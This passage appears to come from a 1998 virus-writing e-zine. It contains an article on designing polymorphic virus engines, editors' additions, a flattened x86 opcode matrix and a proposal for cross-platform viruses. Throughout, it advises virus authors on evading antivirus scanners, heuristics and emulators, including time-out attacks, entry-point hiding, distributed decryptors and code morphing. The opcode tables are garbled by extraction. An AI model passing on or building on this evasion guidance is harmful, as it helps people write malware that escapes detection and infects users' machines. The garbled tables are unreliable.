producing decryptors that looked even more like the real thing. It became difficult to distinguish polymorphic
decryptors from real code.
Another 1994 engine that made a significant impact on the anti-virus industry was DSCE. Dark Slayer stated
that his decryptors contained no loop, key, or start-up values. In a way, he was correct. However, it's an
exaggeration of what the engine really did - these structures were concealed in a massive (at the time)
decryptor by point-encrypting the opcodes that resembled a decryptor loop. Once again, scanners were
slowed down by having to analyse the decryptor in depth.
While there are several other polymorphic engines just as technically advanced as those mentioned above
and the authors of which deserve just as much recognition, these are the ones that we need to illustrate the
design of a solidly built polymorphic engine.
Scan strings
this is something a designer of a good polymorphic engine should not worry about. You do need to
keep in mind that any sort of structured code fragments in your engine, such as anti-debugging code or
anti-emulation code can be scanned for and used to aid a scanner in analysing a piece of code. A small
set of fixed chunks of junk code can also be detected if the decryptor is scanned with several scan
strings that allow for wildcards.
Algorithmic analysis
again, something not commonly used in our day and age. This works by analysing the code, and
deducing the file is infected (or not infected) if certain conditions are met - for instance, if a decryptor
structure is recognised or if the scanner finds an opcode that couldn't have possibly been generated by
the engine.
Statistical analysis
this is a specialised form of algorithmic analysis that counts up the incidence of certain opcodes and
code structures. This method is still used quite heavily in heuristic engines to set off an alarm if a file
contains code that does not "look" naturally written or generated. Of itself, it is of little use.
Int 1h tracing
also known as single stepping. I don't know of any anti-virus scanner that uses this antiquated method
of examining the code, however, Thunderbyte's TbClean program utilises the int 1h single-step mode
to disinfect files. Defeating this method is simple enough, but it's usually not worth including the code,
simply because it's so little-used.
Cryptanalysis
attemps to crack the virus's encryption and find a scan string underneath. While it's rarely used, it can
be very effective against a fair number of polymorphic and encrypted viruses. Once again, though,
defeating it isn't usually worth the effort.
Heuristic scanning
this method was originally developed to find viruses unknown to the virus scanner in question.
However, the anti-virus software designers have caught on and are now using it to detect unnatural
looking code which is often found in decryptors of polymorphic engines.
Emulation
this is the method currently relied on by anti-virus software to detect most polymorphic viruses. A piece
of code performs the function of a fairly complete CPU and executes the code in question in a
controlled environment until it deduces it has emulated far enough, at which point a scan can be
performed for a fixed signature. All the work that went into a polymorphic engine goes rightdown the
toilet bowl.
Scan strings
this is should be avoided by proper engine design. By proper engine design, I mean that any and all
code produced by the decryptor should be completely variable - at least one alternative per every
opcode that is used for any structure.
Algorithmic analysis
this should be combatted by including at least 80% of all 80x86 opcodes, and all of the commonly used
opcodes. The more variability here, the more difficult it is to disqualify a file as a potential carrier of the
engine, therefore it becomes difficult to identify all of the infected files without false alarms.
Statistical analysis
this also depends on how the engine is structured. A few engines include a lot of one-byte instructions
that mess around with the flags, nop's, hlt's, lock's, or whatever. Do not do this - any statistical scanner
worth its salt will pick out the file with 25 nop's and 19 clc's in a 380-byte area of code. I'll elaborate on
this in the section that describes the engine structure.
Int 1h tracing
the countermeasures for this are well-known. Most stack modification instructions, flags tests and other
such anti-debugging tricks will stop a simple tracer. Prefetch queue tricks are inadvisable to use here
since it is difficult to design ones that will be compatible with all processors, past, present and future.
Cryptanalysis
this technique relies on the fact that a lot of viruses will encrypt their code with simple operations like a
single 8-bit xor loop. This is often true. However, doing several mathematical operations on every byte
will quite easily defeat this method, as it will need to try a large number of combinations to find the right
encryption algorithms and keys. The use of sliding keys once again makes the job more difficult, as the
right key modification operation has to be found for every loop.
Heuristic scanning
this relates to statistical analysis, especially so in polymorphic engines. The key to avoiding producing
heuristically sensitive decryptors is structuring the engine in a way that would ensure that the generated
code appears to look like natural code written by a human being and assembled by an assembler. This
means, among other things is that all of the opcodes a polymorphic engine generates must be in their
shortest form. A point that must be noted here is that heuristical analysis is used to determine whether
or not the code should be emulated. If your virus passes the heuristic checking, it won't be emulated to
start with, or the emulator will stop before the virus is decrypted. The two are a part of one mechanism,
where defeating one will stop analysis completely.
Emulation
defeating this method alone will significantly reduce the number of your virus samples anti-virus
programs X, Y and Z will detect. To defeat this method though, one must have a good knowledge of the
emulation system or systems in question. Well, here's the good news: the emulation systems used in
anti-virus software are quite inferior in that they are often incomplete, sometimes buggy. This is most
often intentional. Why? Well, most encrypted or polymorphic viruses use a limited instruction set in their
decryptors. This means there are instructions left out of their instruction sets. The wider variety of
instructions your polymorphic engine can generate (in context, of course), the better the chance of
stopping an emulator. Emulators will also restrict the virus's function, so something as simple as writing
to a memory location and testing the write can detect an emulator's presence. However, there's a more
serious threat to an emulator attack. Most emulators are designed for speed. Therefore, a counter-
attack on an emulation system that will always be effective should be designed to bleed off as much of
the time as possible. This accomplishes two goals - the user will prefer a fast, unreliable scanner over a
slow and reliable one, and it would take an emulator a long time to detect the virus decryptor. Of
course, an emulator could time out assuming it's emulated the code too far and quit emulating, which is
a complete victory for the virus author.
An example time-out attack could be orchestrated in the following fashion. The virus is encrypted and written
to disk, but the key is not saved. To derive the key, some sort of checksum of the unencrypted code is
saved. The virus is decrypted with a random key, the checksum is calculated, and the two checksums are
compared. If the two checksums do not match, the virus is re-encrypted with the reverse operation and the
process is looped back. This makes for a larger, more sophisticated loop, which an emulator must go
through hundreds of times, magnifying the relative slowdown. Anti-virus emulators are built with avoiding
infinite loops in mind, so perhaps an emulator will skip such a structure.
[MGL's note: For example Spanska's IDEA.6126 uses above described approach ]
Another time out strategy is building complex decryptors. This will be further explained in the section
dedicated to engine structure, but the premise is that the more code the emulator has to execute, the slower
it will be. Therefore, a decryptor containing a moderate number of conditional jumps, calls to subroutines,
and other such structures will be slower to emulate than one that's purely linear.
Decryptor loop
one or several loops in the actual decryptor code that would be selected from one of several loop types
where the individual instructions withing the loop would be modified. The algorithms used to perform
the en/decryption would range from common XOR loops to esoteric int 1h tracers that would decrypt
individual opcodes as they were executed.
Junk instructions
opcodes written in before, after or in between the decryptor loop itself to disguise the presence of the
polymorphic decryptor in the infected file. This has traditionally been a problem area for most
polymorphic engines, as the junk produced was not within the statistical bounds of regular code. More
recently, virus writers have paid more attention to this, and more complex code structure has been
created by latter-day polymorphic engines.
Armouring code
this has been widely explored, and the approach here was to traditionally generate code fragments
ranging from stack tricks to int calls. The purpose here has been to stop analysis by anti-virus software
and people analysing the decryptor, either by using an emulator or a real-mode debugger that would
step through the code by utilising the 80x86 single-step mode.
Anti-heuristic code
I've seen only a couple of engines that use this particular sort of code. The purpose here is to
obsfucate the decryptor by concealing the actual decryptor instructions.
Here, I would like to both compliment a virus writer for his achievement and expand on his idea to suggest a
new design standard for advanced polymorphic engines. Almost 4 years ago, a virus was published in an
underground virus exchange e-zine called 40Hex. The name of this virus was Level-3, and the author was
then-famous Vyvojar, who had by then firmly established himself with the notable One_Half virus.
[MGL's note: according the Vyvojar One_Half virus was written to demonstrate virus with maximum
spreading abilities while One_Half successor Level-3 was demonstrating use of hardcore poly encryption. ]
The design of the engine was revolutionary - the engine would generate the decryptor code, and then
emulate it to determine the instruction flow. This concept is quite similar to the ideas I was working on at
thetime, which leads me into the design structure of an engine that would be extremely resistant to most
analysis methods.
First of all, all of the code the engine generates would have to be emulated by its own internal emulator. This
means the contents of the registers can be quite easily tracked by the emulator and the levels of complexity
will be increased to a great degree. For instance, when a value like a key, start of the encrypted area, or any
such area is required, the engine can quite simply fix up the values already held in the registers. The values
on the stack would be emulated too. The possibilities here are really much bigger than the simple variation
that can be achieved by setting down sets of rules for generating code.
Secondly, all of the 8086 opcodes should be produced by the engine. However, they should be produced in
different frequencies - for instance, an average decryptor would usually contain about 80% of the 8086
instruction set, with the remaining 20% generated in 1 out of 20 samples. The garbage generation can be
handled by building tables which would be accessed with different probabilities. Of course, producing 80386+
opcodes, or floating point coprocessor instructions would increase both variability and make the engine
harder to emulate. Remember, no emulator is perfect, and most anti-virus emulators cannot handle complex
instruction sets in decryptors.
Thridly, the structure of the decryptor itself should be complicated by such things as calls and conditional
jumps. The reason for this is quite simple - it facilitates emulator slowdown. For example, 3 calls to a 20-byte
subroutine are equivalent to 69 bytes of code. Conditional jumps are very useful for slowing down the
process too. Emulators will attempt to emulate every path that is available if it cannot be predict the direction
of the jump - a technique known as path emulation. One jump that cannot be predicted by an emulator
means the decryptor will have to be emulated twice. Two such jumps mean the decryptor will have to be
emulated four times. Structures like this ensure that a small decryptor may take as long to emulate as a very
large decryptor.
Finally, a word about layers. It seems that a lot of people believe a higher number of layers will ensure
adequate protection. This protection is only there in so far as the emulator will simply take as long to emulate
the layers as it would for a single decryptor of the collective size of these layers. There is a restriction on the
largest possible size or the largest number of layers that has to be made, and it seems optimal to maintain
only two layers, one to fool heuristic scanners into thinking it's legitimate code and decrypt the second one,
and the second being a simple cyclical decryptor for the rest of the virus.
I hope that this has given you an insight, insiration or ideas to implement. Good luck with designing your new
super-polymorph. ;)
Special thanks to MGL, Pockets and Owl for their invaluable ideas and suggestions.
This document is © 1998 Buz [FS], and may be distributed so long as the correct copyright of this document
is stated, and it is not modified in any way. Any medium in which this document is distributed in must be free.
Polymorphism is for viruses one of the must. Buz[FS] brings us some valuable ideas for the coding. His
paper is very consistent and good written. But there are several ommited things that we should mention.
Brute-force decrypting
Interesing idea of complicating scanning, first it was shown in real life by virus IDEA - because it uses
cryptographic algorythm named Idea to encrypt its body. It pushed time of emulation of such a decryptor to
the limits so antivirus will abort its emulation on time-out. Because even virus itself doesn't know decryptor
key and it tests all combinations to find it out. It tooks for example a second, but for emulator in antivirus it will
took tens or even hundred of seconds - which is not acceptable of course. But you should keep in mind that it
is enought for antivirus to detect decryptor (or even less specific things) to signalise a virus, and there is no
real need of such brute-force key finding for antivirus. But if this algorythm is polymorphics enought and
antivirus can't detect any scheme in it, this will really work pretty well.
You should also keep in mind to use a good cryptohraphic algorythm (not a simple xor) becase otherwise
antivirus can perform a cryptographic analysis faster than is your key-finding routine.
Opcodes variability
You can hear in these days: this poly engine uses fpu instructions, another poly engine uses pentium
opcodes, and other one using mmx opcodes. All this sounds good, but is not compatible at all. For example
older Cyrix or AMD cpus doesn't have MMX at all. And there are pentiums without mmx and even 486s as
well. On those your virus will hang - ant that is best way of its detection by lame users.
Yes it is good to use many specific opcodes, because it will be harder to identify and harder to trace.
However you should not use opcodes that are incompatible. How to solve this? Well, my suggestion is to
have some extra opcodes enabled by a special flags. Because PEs are basical i386 compatible, you should
stay at this level for regular files. But when a virus is going to infect system files to establish itself a home on
new computer (like installing to DLLs or VXDs), you can use as many opcodes as current machine supports.
Because there is no chance (or very little) that these files will leave current computer. But for transfering
virus, you don't know what processor target machine have and you should stay as compatible as original file
you are infecting is (to check a CPU flag in PE header). For these reasons, you can read another our article
about opcodes.
Entry-point hiding
Now, we have to break most common definition of polymorphism associated worldwide. Everyone
understoods that polymorphics virus means virus stored in file with fixed body, with generated decryptor to
decode fixed body. It is used to prevent easy detection of body instead of it, a generated decryptor must be
analysed and detected. But it is not right. This is only way how everyone knows it, however there are also
other techniques that breakes this rule. Entry-point hiding, firstly very successfuly demonstrated in Dark
Avenger's (in fact inventor of now known polymorphism) piece of code called Commander Bomber.
Commander bomber leaves its body completly visible (what a lucky for avers), but you dont know where it
actually is. It infects only com files, so whole file can be scanned of course to detect it (a weak point of this
virus), but in general you don't know where the body is: there are several fragments of code, place anywhere
in host file, that are connected with jumps, contitional jumps and call/rets as well. As it is generated (as well
as for classic polymorphical engines) it is hard to identify if fragment of code belongs to Commander Bomber
or not. Commander Bomber uses excelent code generator but imho Darkie wanted not to have it encrypted
to simplyfo work of avers. No matter now.
This technology is hard to scan, because antiviruses are not loading a whole file (imagine running this on
1mb PE), and simply can't reach body by following all code fragments.
Distributed decryptor
This is some kind og combination idea of hiding entry-point mentioned above with decryption routine. In
normal poly engine the situation is similar to figure 1 while distributed poly decryptor look like on figure 2
fig. 1 fig. 2
Prelude to the topic distributed decryptor has been written by Bulgarian programmer known as Dark Avenger
in his Commander Bomber virus (already mentioned). The first real (as far as I know) but weak
implementation of distributed decryptor can be seen in Vyvojar's One_Half virus with its decryptor divided in
10 parts. However, it was really easy and we should not call it really polymorphic as encryption schema was
pretty visible even for stupids. But even as it was so simple, it complicates life to avers really good. May be
you remember.
And what would be the perfect distributed decryptor? Imagine decryptor spread all across the host file, with
no specific locations, emulated of cos, code fragments linked together with conditional and unconditional
jumps, calls, loops combining linear and cyclyc structures, time-out attacks, armouring and anti-debug code.
Easy to say, harder to code but why not to try it? A demonstration of this is for example Vyvojar's EMM3
(Explosion Mutation Machine 3).
True polymorphics
Can virus body be really different for every instance at the instruction level? Well, nowadays there isn't any
virus doing this. However I think it is possible. Because there are many ways how to program same
subroutine (that even uses same algorythm) and can be completly different at binary and instruction level. It
is most probably needed to have some pre-compiled form that will be assembled each time, instead of using
its own code as an template (it might be possible, but even much harder to implement). These ideas are
more detaily written in Navrhar's article discussing this called ASM vs. HLL.
Guys forced me to publish a matrix which I used to create some predictive polymorhical encryption engine
(based on emm3 ideas). Because MGL's matrix published in our zine #1 was really poor I created a better
one, including 386+ opcodes of course.
However this matrix presented here is also quite obsolette, and I started to build up a new one some weeks
ago, but Katmai and Athlon specific opcodes overlaps a lot, so it tooks me more than a week to get rid of it
and after that I accidentaly deleted what was already done. And you can imagine - I was so angry so I didn't
started again :)
To use this matrix, you should at first install a true-type fonts (supplied) which I used in these excel sheets:
using control panel - fonts - file - install new fonts. And you can print it as big as you wish, and start marking
opcodes and groups you need to optimize your engine :) Good luck!
Flush
1x ADC ADC ADC ADC ADC ADC PUSH POP SBB SBB SBB SBB SBB SBB PUSH POP
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im SS SS r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im DS DS
2x AND AND AND AND AND AND ES: DAA SUB SUB SUB SUB SUB SUB CS: DAS
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix
3x XOR XOR XOR XOR XOR XOR SS: AAA CMP CMP CMP CMP CMP CMP DS: AAS
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix
4x INC INC INC INC INC INC INC INC DEC DEC DEC DEC DEC DEC DEC DEC
AX CX DX BX SP BP SI DI AX CX DX BX SP BP SI DI
5x PUSH PUSH PUSH PUSH PUSH PUSH PUSH POP POP POP POP POP POP POP POP POP
AX CX DX BX SP BP SI DI AX CX DX BX SP BP SI DI
186+ 186+ 186+ P286+ 386+ 386+ 386+ 386+ 186+ 186+ 186+ 186+ 186+ 186+ 186+ 186+
6x PUSHA POPA BOUND ARPL FS: GS: ofs 16/32 oper 16/32 PUSH IMUL PUSH IMUL INSB INS OUTSB OUTS
PUSHAD POPAD r, m r, m prefix prefix prefix prefix im r, i, m im8 r, i8, m
9x NOP XCHG XCHG XCHG XCHG XCHG XCHG XCHG CBW CWD CALL far WAIT PUSHF POPF SAHF LAHF
xchg ax, ax AX, CX AX, DX AX, BX AX, SP AX, BP AX, SI AX, DI CWDE CDQ adr PUSHFD POPFD
Ax MOV MOV MOV MOV MOVSB MOVS CMPSB CMPS TEST TEST STOSB STOS LODSB LODS SCASB SCAS
AL, [adr] AX, [adr] [adr], AL [adr], AX AL, im8 AX, im
Bx MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV
AL, im8 CL, im8 DL, im8 BL, im8 AH, im8 CH, im8 DH, im8 BH, im8 AX, im CX, im DX, im BX, im SP, im BP, im SI, im DI, im
M M table 2.10 table 2.11 186+ 186+
Cx table 2.8 table 2.9 RETN RETN LES LDS MOV MOV ENTER LEAVE RETF RETF INT 3 INT INTO IRET
r/m, im8 r/m, im8 im8 r, m r, m m, im8 m, im im, im8 imm im8
! 2) ! 2) 286+ x87 x87 x87 x87 x87 x87 x87 x87
Dx table 2.12 table 2.13 table 2.14 table 2.14 AAM AAD SETALC XLAT ESC0 ESC1 ESC2 ESC3 ESC4 ESC5 ESC6 ESC7
r8/m8, 1 r/m, 1 r8/m8, CL r/m, CL im8 im8 m32/fr m32/fr m32/(r8?) m32/(r?) m64/fr m64/fr m16/fr m16/(r?)
Ex LOOPNZ LOOPZ LOOP JCXZ IN IN OUT OUT CALL near JMP near JMP far JMP short IN IN OUT OUT
rel8 rel8 rel8 rel8 JECXZ AL, im8 AX, im8 im8, AL im8, AX adr adr adr rel8 AL, DX AX, DX DX, AL DX, AX
table 3.1
Fx LOCK … REPNZ REP HLT CMC table 2.16 table 2.17 CLC STC CLI STI CLD STD table 2.18 table 2.19
prefix prefix prefix m8, (im8) m, (im) m8 m
USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
1) - 8088 POP CS:
2) - Documented only with im8 = 0Ah, on NEC only this variant is implemented
A - AX variant is not used by compilers (shorter form is available too)
! - Undocumented instruction / not used by compilers
M - Operand is actually r/m type, but is invalid with R variant
16/32 bit (E)AX (E)CX (E)DX (E)BX (E)BP (E)SP (E)SI (E)DI
segments ES CS SS DS FS GS - -
Postbyte SIB
XXxx xxxx xxXX Xxxx xxxx xXXX XXxx xxxx xxXX Xxxx xxxx xXXX
reg OR
mod instructi r/m scale index base
on
1 [BX+SI+sim8]
[BX+DI+sim8]
[BP+SI+sim8]
[BP+DI+sim8] [SI+sim8] [DI+sim8] [BP+sim8] [BX+sim8]
SIB base
MOD of
postbyte 0 1 2 3 4 5 6 7
0 +EAX +ECX +EDX +EBX +ESP +im +ESI +EDI
SIB index
0 1 2 3 4 5 6 7
[EAX] [ECX] [EDX] [EBX] - [EBP] [ESI] [EDI]
SIB scale
0 1 2 3
index index * 2 index * 4 index * 8
Exdended "0F" Opcodes
x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
286+ 286+ 286+ 286+ ! 286 ! 286 286+ table 3.2 ! 486 ! 486 P6+
0x table 2.20 table 2.21 LAR LSL LOADALL LOADALL CLTS … INVD WBINVD - UD2 - - - -
r/m r/m r, m/m r, r/m alternative
table 3.3 table 3.4 table 3.5 table 3.6 NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+
1x … … … … SET1 SET1 NOT1 NOT1 TEST1 TEST1 CLEAR1 CLEAR1 SET1 SET1 NOT1 NOT1
r8/m8, CL r/m, CL r8/m8, CL r/m, CL r/m, im8 r/m, im r/m, im8 r/m, im r/m, im8 r/m, im r/m, im8 r/m, im
table 3.7 386+ 386+ table 3.8 386+ 386+ 386, 486 table 3.9
386, 486 NEC V20+ NEC V20+
4x CMOVO CMOVNO CMOVC CMOVNC CMOVZ CMOVNZ CMOVA CMOVNA CMOVS CMOVNS CMOVP CMOVNP CMOVL CMOVNL CMOVG CMOVNG
r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m
5x - - - - - - - - - - - - - - - -
MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX
6x PUNPCKLBW PUNPCKLWD PUNPCKLDQ PACKSSWB PCMPGTB PCMPGTW PCMPGTD PACKUSWB PUNPCKHBW PUNPCKHWD PUNPCKHDQ PACKSSDW - - MOVD MOVQ
mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, r/m32 mm, mm/m64
MMX MMX MMX MMX MMX MMX MMX 486 486 486 486 486 486 table 3.12 MMX MMX
7x - table 2.22 table 2.23 table 2.24 PCMPEQB PCMPEQW PCMPEQD EMSS SVDC RSDC table 2.25 table 2.26 table 2.27 table 2.28 MOVD MOVQ
mm, im8 mm, im8 mm, im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 m80, sreg sreg, m80 m80 m80 m80 m80 r/m32, mm mm/m64, mm
386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+
9x SETO SETNO SETC SETNC SETZ SETNZ SETA SETNA SETS SETNS SETP SETNP SETL SETNL SETG SETNG
r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m
386+ 386+ SL, P5+ 386+ 386+ 386+ table 3.13
486 B0- table 3.14
486 B0- 386+ 386+ 486+ 386+ 386+ 386+ 386+
Ax PUSH POP CPUID BT SHLD SHLD CMPXCHG CMPXCHG PUSH POP RSM BTS SHRD SHRD - IMUL
FS FS r/m, r r/m, r, im8 r/m, r, CL r/m, r8 r/m, r GS GS r/m, r r/m, r, im8 r/m, r, CL r, r/m
486+ B1+ step 486+ B1+ step M 386+ 386+ M 386+ M 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+
Bx CMPXCHG CMPXCHG LSS BTR LFS LGS MOVZX MOVZX - - table 2.29 BTC BSF BSR MOVSX MOVSX
r/m, r8 r/m, r r, m r/m, r r, m r, m r, r8/m8 r, r16/m16 m, im8 r/m, r r/m, r r/m, r r, r8/m8 r, r16/m16
486+ 486+ P5+ 486+ 486+ 486+ 486+ 486+ 486+ 486+ 486+
Cx XADD XADD - - - - - table 2.30 BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP
r/m, r8 r/m, r m64 AX CX DX BX BP SP SI DI
MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX
Dx - PSRLW PSRLD PSRLQ - PMULLW - - PSUBUSB PSUBUSW - PAND PADDUSB PADDUSW - PANDN
mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64
NEC V33/V53 MMX MMX MMX MMX MMX MMX MMX MMX MMX
Ex BRKXA PSRAW PSRAD - - PMULHW - - PSUBSB PSUBSW - POR PADDSB PADDSW - PXOR
im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64
NEC V33/V53 MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX table 3.15
Fx RETXA PSLLW PSLLD PSLLQ - PMADDWD - - PSUBB PSUBW PSUBD - PADDB PADDW PADDD …
im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64
USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
mm - MMX register
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
rel - Relative address (sim16/32, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
! - Undocumented instruction / not used by compilers
M - Operand is actually r/m type, but is invalid with R variant
Table 2 - extended opcodes
00 000 08 001 10 010 18 011 20 100 28 101 30 110 38 111
A A A A A A A A
80 ADD OR ADC SBB AND SUB XOR CMP
table 2.1 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8
A A A A A A A A
81 ADD OR ADC SBB AND SUB XOR CMP
table 2.2 r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im
A! A! ??? A ! A! A! ??? A ! A! ??? A !
0F 73 - PSRLQ - - - - PSLLQ -
table 2.24 mm, im8 mm, im8
M 486
0F 7A SVLDT - - - - - - -
table 2.25 m80
M 486
0F 7B RSLDT - - - - - - -
table 2.26 m80
M 486
0F 7C SVTS - - - - - - -
table 2.27 m80
M 486
0F 7D RSTS - - - - - - -
table 2.28 m80
386+ 386+ 386+ 386+
0F C7 - CMPXCHG8B - - - - - -
table 2.30 m64
USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
mm - MMX register
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
A - AX variant is not used by compilers (shorter form is available too)
! - Undocumented instruction / not used by compilers
R - A shorter form of instruction exits for register as an operand
M - Operand is actually r/m type, but is invalid with R variant
Table 3 - CPU-depended instructions
NEC IBM INTEL INTEL INTEL INTEL CYRIX CYRIX CYRIX AMD AMD AMD AMD
V20+ 486SLC2 386 486 P5 P6 486 5x86 6x86 386SX/DX 486 K5 K6
V25/V35
0F 20 ADD4S MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV
table 3.7 r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn
0F 22 SUB4S MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV
table 3.8 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32
0F 33 EXT - - - - RDMPC - - - - - - -
table 3.11 r8, r8
MMX MMX MMX
0F A6 - CMPXCHG XBTS CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG XBTS CMPXCHG CMPXCHG CMPXCHG
table 3.13 r/m, r8 r, r/m, EAX, r/m,
CL r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r, r/m, EAX, r/m,
CL r8 r/m, r8 r/m, r8
0F A7 - CMPXCHG IBTS CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG IBTS CMPXCHG CMPXCHG CMPXCHG
table 3.14 r/m, r r, r/m, EAX, r/m,
CL r r/m, r r/m, r r/m, r r/m, r r/m, r r, r/m, EAX, r/m,
CL r r/m, r r/m, r
USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
Introduction
If we can handle such a complexe target as PE files are we are facing the sad fact we can infect files on the
Intel platform but we can never get outside this platform. Rare exception from this axiom is virus Esperanto
(by Mr. Sandman published in 29A Nr. 2) which is the first of its kind, capable of speading on various
platforms and processors. Glory goes to Mr. Sandman but unfortunately, this approach cannot be used for
larger projects. Whole Esperanto's solution is based on presence of two parts - one for intel processors, the
other for Macs, practically doubling the size of necessary code. It doesn't seem to be the ideal solution, let's
image the 50 kB viral code for three processors and we well land somewhere around 150 kb maxivirus.
Idea
I would solve this problem using another approach. My approach would be more difficult (but not impossible)
to code. I state here i am not ready to participate on such a project (no time and morale left). I would like to
find some newbies or people ready to work hard. Idea is quite simple - we should carry the body in some
kind of pre-compiled state, which should be easy translated to assembly language of every single target
processor.
Imagine, we have C compilator, which produces output at the level between C and assembly languages.
Between C and assembly means, that before code is assembled it has to be compiled by special C compiler.
In fact code should be at the lowest level, it could be, because we need to assemble it for various
architectures. Because of this code should be register and memory addressing mode independent. The one
model i like the best is stack machine (uses RPL - reverse polish logic) with direct memory adressing mode
(only value on top of the stack is a memory address). Of course, this means compiled "code" will be larger
than regular intel code.
Resulting code for some processor could gain quite high variability this way (by every single translation could
be another instructions or registers used). Also in the case resulting code will be close enough to code
produced by C compilers - some standart stack frame, analogical using of stack, registers, variables and so
on - this would be very hard to differenciate by heuristics without any further analysis. And it will be even
harder (if not impossible) to distinguish between variants. This would make problem of use complicated (and
unemulationable) polymorphic routines, decryptors and such a things redundant. The only one condition to
be not a simple target is to have the "source" (which is by its nature more or less static) encoded and decode
it only if need to replicate.
Of course, precompiled "source code" has to contain "assembler" for all supported processors. Assembler -
as a heart of body - gives a virus it's variability and complexness, so detection is as hard as good is
assembler. That's reason why virii can be very long. It will be not enough just 5kB like for a classic poly
routines. That is reason why (probably) wouldn't be such a viruses spreaded by mailing. But besides of this
code will be very similar to standart languages. You needn't to deal with infecting file in general, you can link
your data area wherever you need so you need not to use writeable sections for code - what is in my opinion
the strongest heuristic flag.
Real time compiling
Anoter posibility is compile code at run-time - you needn't to have whole code compiled in host file. You can
compile it at time you need it. This may at least reduce a size the file is increased of. I am not sure if this is
safe enough in order not to be visible but i think compilation is complex enough to slow emulation down, and
may be makes scanning-speed unacceptable, so avers will have to find out new ways of detecting.
Code morphing
Another advantage is the BIG possibility of some modifications to the pre-compiled code. Because you
exactly know what your code means and what kind of modifications can be performed on it. Because new
one inherits it's code by parent, in 10 generations there can be a very big difference between existing
variants. Just imagine block permutations (modules or just functions) and minor changes in code like c=a+b -
> c=b+a. I think it is good enough to totaly change the look of virii from parent to child and not speaking even
about differences between distant variants. And there are possible a bit more complex changes - of course it
depends on source language and you.
Disadvantages - size
As i see it, main disadvantage is size. Because of a bit difficult technologies necessary to implement i don't
even hope that resulting code will be smaller than 50kB, what is imho a bit problem in these days. At first you
can't use mailing strategy to spread itself. It tooks some time to download 150kB of mails :-(. I heard that
300kB is nothing, and there are really coming medias with 100MBs throughput, but main limiting factor is
floppy disk/internet and we still live in world, where 3kB/s is a high speed (33k6 modems are quite usual for
use of internet from home).
There can be some problems on the interference level (level, where host file and virus are directly
connected). We are not far enough to say it can be whole handled by compiler or in needs special handling
with PE+platform dependend code. But it should not be a big problem.
Closing
And now some closing words. Main advantage of the pre-compiled code is possibility to cross-plastform
infection. Besides this this approach opens another horizonts at least at the level of today poly engines and
